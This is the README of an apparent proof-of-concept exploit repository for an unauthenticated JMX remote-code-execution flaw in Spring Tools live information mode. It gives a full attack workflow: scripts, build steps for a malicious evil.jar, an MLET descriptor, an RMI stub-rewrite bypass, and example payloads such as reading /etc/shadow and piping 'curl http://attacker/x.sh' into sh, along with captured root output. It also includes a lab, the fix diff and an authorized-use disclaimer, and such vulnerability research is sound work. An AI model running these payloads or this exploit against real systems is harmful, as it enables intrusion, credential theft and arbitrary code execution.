
Proof-of-concept exploit for unauthenticated JMX RCE in Spring Tools live information mode, using MLet remote class loading to execute arbitrary commands on vulnerable Spring Boot applications.
中文 README | Advisory: Spring Security | CVE Record
Vulnerability: Spring Tools for Eclipse ≤ 5.2.0 / VSCode·Cursor·Theia ≤ 2.2.0 start Spring Boot applications in live information mode (enabled by default) with JVM arguments that expose an unauthenticated, TLS-less, all-interfaces-bound remote JMX agent. An attacker on the adjacent network can connect to the JMX MBeanServer without credentials and achieve direct RCE (as root) via MLet remote class loading.
AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:HDiff between affected tag 5.2.0.RELEASE (== v2.2.0) and fixed tag 5.3.0.RELEASE (== v2.3.0):
Vulnerable eclipse-extensions/.../boot/launch/livebean/JmxBeanSupport.java:
"-Dcom.sun.management.jmxremote", // enable JMX
"-Dcom.sun.management.jmxremote.port=<free port>",
"-Dcom.sun.management.jmxremote.authenticate=false", // NO authentication!
"-Dcom.sun.management.jmxremote.ssl=false", // NO TLS!
"-Djava.rmi.server.hostname=localhost", // the only "barrier": stubs advertise localhost
"-Dspring.jmx.enabled=true",
"-Dmanagement.endpoints.jmx.exposure.include=*" // all actuator endpoints via JMX
BootLaunchConfigurationDelegate.DEFAULT_ENABLE_JMX = true: enabled by default; every Boot app launch from the IDE gets these args.vscode-extensions/vscode-spring-boot/lib/debug-config-provider.ts) injects the same -Dcom.sun.management.jmxremote.port=<port> -Dcom.sun.management.jmxremote.authenticate=false -Dcom.sun.management.jmxremote.ssl=false.Fixed 5.3.0:
-Dcom.sun.management.jmxremote.host=127.0.0.1 + -Dcom.sun.management.jmxremote.local.only=true (JMX binds to loopback only).com.sun.management.jmxremote* args at all — JMX agent is started on-demand via the Attach API against the child PID (VSCode side likewise: debug-config-provider.ts removes the remote JMX args entirely).Note:
-Dcom.sun.management.jmxremote.portalone is enough to enable the JMX agent (the maincom.sun.management.jmxremoteswitch is not required) — the VSCode variant is equally exploitable.
Requirements: docker, JDK 17+ (default /usr/lib/jvm/java-21-openjdk-amd64), maven, python3, nsenter (optional).
./run-lab.sh vuln # vulnerable config (5.2.0 args) -> RCE succeeds
./run-lab.sh fixed-pinned # fixed 5.3.0 pinned-port config -> attack refused (JMX on 127.0.0.1)
./run-lab.sh fixed-auto # fixed 5.3.0 default auto config -> attack refused (no remote JMX port)
Customize the command executed on the victim (default id; hostname; uname -a):
PAYLOAD_CMD="cat /etc/shadow" ./run-lab.sh vuln
PAYLOAD_CMD="curl -s http://attacker/x.sh | sh" ./run-lab.sh vuln
The script: builds the victim Spring Boot app → creates an isolated docker bridge network (victim container 172.22.0.x, attacker on the host = adjacent network) → starts the app with the per-version JVM args → shows JMX listening sockets → runs the exploit → verifies RCE marker files (/tmp/CVE-2026-47858_PWNED*) inside the victim container.
attack.sh (recommended)The command is fully configurable, and changing it requires no recompilation (the command is delivered through the MLET <ARG> tag; the jar is command-agnostic):
./attack.sh <target-ip> <jmx-port> "<command>" [http-port] [victim-container]
# Examples
./attack.sh 172.22.0.2 19090 "id; whoami; uname -a" # basic recon
./attack.sh 172.22.0.2 19090 "cat /etc/shadow" 8000 # read a file
./attack.sh 172.22.0.2 19090 "curl -s http://attacker/x.sh | sh" 8000 victim # pipes / reverse shell etc.
./attack.sh 192.168.1.20 19090 "id" 8000 # arbitrary remote target
# Env vars
PAYLOAD_HOST=192.168.1.10 ./attack.sh ... # IP of this host as seen by the victim (auto-detected by default)
JDK_DIR=/path/to/jdk ./attack.sh ... # JDK location
Flow: builds evil.jar → XML-escapes the command and generates mlet.txt → serves evil.jar + mlet.txt over HTTP → compiles and runs JmxExploit → (if a container name is given) verifies marker files inside it.
# 1) Build the payload jar
cd exploit-server && javac -d classes evil/Pwn.java && jar cf evil.jar -C classes .
# 2) Generate mlet.txt (replace <COMMAND> with yours; XML-escape & < > ")
cat > mlet.txt <<EOF
<MLET CODE="Pwn" ARCHIVE="evil.jar" NAME="Pwn:type=pwn">
<ARG TYPE="java.lang.String" VALUE="<COMMAND>">
</MLET>
EOF
# 3) Serve the payloads
python3 -m http.server 8000 --bind 0.0.0.0 # from the exploit-server directory
# 4) Compile and run the exploit (JDK 17+ needs --add-opens to rewrite the RMI stub)
cd attacker && javac JmxExploit.java NaiveJmxClient.java
java --add-opens java.rmi/java.rmi.server=ALL-UNNAMED \
--add-opens java.rmi/sun.rmi.server=ALL-UNNAMED \
--add-opens java.rmi/sun.rmi.transport=ALL-UNNAMED \
--add-opens java.rmi/sun.rmi.transport.tcp=ALL-UNNAMED \
-cp classes JmxExploit <target-ip> <jmx-port> "http://<this-host-ip>:8000/mlet.txt"
# 5) Verify on the target
ls -la /tmp/CVE-2026-47858_PWNED* && cat /tmp/CVE-2026-47858_PWNED_cmdout
Pwn implements DynamicMBean; the command runs synchronously in the constructor via /bin/sh -c (priority: MLET <ARG> argument > victim env var CVE_PAYLOAD_CMD > default id; hostname; uname -a)./tmp/CVE-2026-47858_PWNED — existence proves RCE/tmp/CVE-2026-47858_PWNED_cmd — the command that ran/tmp/CVE-2026-47858_PWNED_cmdout — command output (stdout+stderr)Why
<ARG>? JDKMLetParseronly recognizes<ARG>(<PARAM>is silently ignored), and bothTYPEandVALUEare mandatory. Also, the MLet parser does NOT handle HTML comments — keep any stray<...>text out ofmlet.txt.
attacker ──TCP──▶ victim JMX RMI registry (19090) <- attacker actively connects to the victim's service
attacker ◀──TCP── victim RMI Server (random port) <- normal JMX protocol traffic
attacker ──invoke──▶ victim JVM: newClient(null) <- login to MBeanServer with NO credentials
attacker ──invoke──▶ victim JVM: getMBeansFromURL(.) <- victim JVM synchronously instantiates the evil class
victim JVM ──HTTP GET──▶ attacker :8000/evil.jar <- the only "callback": downloading the payload jar
victim JVM inside: Pwn constructor Runtime.exec("<cmd>") <- command executes directly inside the victim
getMBeansFromURL returns, the command has finished (marker files are already on disk).-Djava.rmi.server.hostname=localhost, which only makes RMI stubs advertise "localhost" (a default client dials its own loopback and fails — reproduced by NaiveJmxClient). JmxExploit rewrites the stub's TCPEndpoint host via reflection (Metasploit java_jmx_server and similar tools bypass it the same way).Evidence captured on the victim:
$ cat /tmp/CVE-2026-47858_PWNED_cmdout
uid=0(root) gid=0(root) groups=0(root) # output of the custom command
d4af4b454b90 # victim container hostname
$ cat /tmp/CVE-2026-47858_PWNED_cmd # the custom command (delivered via <ARG>)
echo SECOND_FLEXIBLE_RUN; whoami; pwd; ls -la /app.jar
-Dcom.sun.management.jmxremote.host=127.0.0.1 -Dcom.sun.management.jmxremote.local.only=true.CVE-2026-47858/
├── README.md # this document (Chinese)
├── README.en.md # English documentation
├── run-lab.sh # one-shot reproduction (vuln / fixed-pinned / fixed-auto)
├── attack.sh # flexible exploit script (configurable command, no recompile needed)
├── attacker/
│ ├── JmxExploit.java # exploit: stub host rewrite + MLet remote class loading RCE
│ └── NaiveJmxClient.java # control: naive client that fails against the localhost advertisement
├── exploit-server/
│ ├── evil/Pwn.java # malicious DynamicMBean (constructor executes the command)
│ ├── mlet.txt.template # MLET descriptor template (command placeholder __COMMAND__)
│ └── evil.jar # prebuilt payload jar (command-agnostic, rebuildable anytime)
└── victim-app/app/ # victim Spring Boot 4.0.7 app (web+actuator)
This repository is provided for authorized security research, vulnerability validation and defensive testing only. Using it against any system without authorization is illegal; you are solely responsible for your actions.
| Config | JMX listen | Remote unauth connect | RCE |
|---|
| 5.2.0 vulnerable (Eclipse args) | *:19090 etc. (0.0.0.0) | ✅ (stub host rewrite bypasses localhost) | ✅ root |
| 5.2.0 vulnerable (VSCode 2.2.0 args) | *:19090 (0.0.0.0) | ✅ | ✅ |
| 5.3.0 fixed (pinned port) | 127.0.0.1 only | ❌ connection refused | ❌ |
| 5.3.0 fixed (default auto) | no JMX port | ❌ | ❌ |